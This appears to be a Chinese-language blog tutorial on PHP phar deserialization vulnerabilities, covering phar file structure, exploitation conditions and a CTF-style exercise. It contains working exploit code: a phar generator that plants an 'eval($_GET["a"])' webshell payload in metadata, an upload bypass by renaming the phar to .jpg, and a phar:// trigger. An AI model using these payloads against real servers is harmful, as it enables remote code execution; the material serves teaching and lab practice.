phar反序列化漏洞简单介绍

phar反序列化漏洞介绍

什么是phar: phar类似于java中的jar打包

 

phar的结构:

 

stub phar文件标识,格式为xxx<?php xxx;__HALT_COMPILER();?>; (头部信息)

manifest压缩文件的属性等信息,以序列化存储;

contents压缩文件的内容;

signature签名,放在文件末尾;

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化

 

 

漏洞原理:

manifest压缩文件的属性等信息,以序列化存储;存在一段序列化的字符串;

调用phar伪协议,可读取 .phar文件;

phar协议解析文件时,会自动触发对manifest字段的序列化字符串进行反序列化。

注意:phar需要php>=5.2在php.ini中将phar.readonly设为Off 注意去掉前面的分号

 

phar使用条件: 1.phar文件能上传到服务器端。

2.要有可用反序列化魔术方法作为跳板。

3.要有文件操作函数,如file_exists(),fopen(),file_get_contents()

4.文件操作函数参数可控,且: / phar等特殊字符没有被过滤

 

总结就是要有文件操作函数,然后可以去使用这个phar伪协议去读取一个.phar文件,并且在原本的代码中有魔术方法,在反序列化的过程中去执行相关的代码,进而执行我们想让它执行的。 这个phar后缀是可以修改的,没有影响

下面举一个例子:

<?php
highlight_file(__FILE__);
error_reporting(0);
class Testobj
{
   var $output="echo 'ok';";
   function __destruct()
  {
       eval($this->output);
  }
}
if(isset($_GET['filename']))
{
   $filename=$_GET['filename'];
   var_dump(file_exists($filename));
}
?>

 

<?php
highlight_file(__FILE__);
class Testobj
{
   var $output='';
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new Testobj();
$o->output='eval($_GET["a"]);';
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

这个就是创建一个phar文件 ,将output的值写入到meta-data段中,通过filename利用phar伪协议 然后进行一个反序列化,触发了_destruct()魔术方法,执行了eval函数,也执行了我们想让它执行的。

 

 

 

下面来个简单例题实验一下:

<?php
highlight_file(__FILE__);
error_reporting(0);
class TestObject {
   public function __destruct() {
       include('flag.php');
       echo $flag;
  }
}
$filename = $_POST['file'];
if (isset($filename)){
   echo md5_file($filename);
}
//upload.php
?>

这个满足phar漏洞的四个基本点 1.可以上传 2.有文件操作函数 3.有魔术方法作为跳板机 4.文件操作函数的参数名可控

这个要生成一个phar文件的话需要改一个东西,上面有介绍,需要注意的是前面的分号要删除。

这个代码算是简单的了,根据上面的代码生成一个phar文件

<?php
highlight_file(__FILE__);
class TestObject{
}

@unlink('test.phar');   //删除之前的test.par文件(如果有)
$phar=new Phar('test.phar');  //创建一个phar对象,文件名必须以phar为后缀
$phar->startBuffering();  //开始写文件
$phar->setStub('<?php __HALT_COMPILER(); ?>');  //写入stub
$o=new TestObject();
$phar->setMetadata($o);//写入meta-data
$phar->addFromString("test.txt","test");  //添加要压缩的文件
$phar->stopBuffering();
?>

然后改一下new的类

这样就生成了,然后在upload.php界面下上传这个phar文件,但是phar上传后似乎失败了,我们可以把phar后缀修改成jpg的,这样不影响

然后得到路径 uplod/test.jpg

最后利用phar伪协议去读取一下即可

file=phar://upload/test.jpg

posted @ 2023-06-23 21:25  MRFS  阅读(106)  评论(0)    收藏  举报